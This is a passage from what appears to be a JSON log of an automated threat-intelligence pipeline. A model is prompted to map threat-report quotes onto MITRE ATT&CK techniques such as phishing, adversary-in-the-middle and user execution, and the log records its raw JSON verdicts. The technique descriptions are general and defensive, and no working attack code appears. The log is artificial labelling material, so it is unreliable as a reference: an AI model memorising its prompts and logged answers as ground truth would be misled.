actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": 1,\n \"support\": \"supported\",\n \"evidence_quote\": \"use the stolen session cookie to log in as the victim\",\n \"rationale\": \"The quote describes using a stolen session cookie to authenticate and perform actions as the victim, which aligns with T1550.004 Web Session Cookie.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2977, + "completion_tokens": 82, + "total_tokens": 3059 + } + }, + "evidence_sha256": "5418e45f17b89eb2564530bc2eda31346a60c0b2012a07c2d96a00cfef98da56" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 4310.4, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: researchers from Stony Brook University and Palo Alto Networks\nAction: analyze\nObject: MitM phishing kits\nTarget: MitM phishing pages\n\nSOURCE QUOTE\nresearchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.\n\nCANDIDATE 1\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 6\nATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser.\n\nCANDIDATE 7\nATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link.\n\nCANDIDATE 8\nATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\": -1, \"support\": \"unsupported\", \"evidence_quote\": \"researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot\", \"rationale\": \"The quote describes defensive research analysis of phishing kits, not adversary activity; therefore, no ATT&CK technique is supported.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3857, + "completion_tokens": 91, + "total_tokens": 3948 + } + }, + "evidence_sha256": "b57a4c164341f0ecdc7b9a16d24b501e2a52fed51dd9d9e0b3621ffd39c0042b" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3257.4, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: researchers\nAction: identify\nObject: over 1200 MitM phishing sites\nTool: Phoca\n\nSOURCE QUOTE\nThey were able to identify over 1200 MitM phishing sites\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.\n\nCANDIDATE 1\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"They were able to identify over 1200 MitM phishing sites\",\n \"rationale\": \"Researchers identifying phishing sites is a defensive action, not an adversary technique.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3766, + "completion_tokens": 66, + "total_tokens": 3832 + } + }, + "evidence_sha256": "e78a1e4b1b035b0afe21a364232149661a9f439fd461eb70bad9c05a5f0241e2" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 4284.2, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. 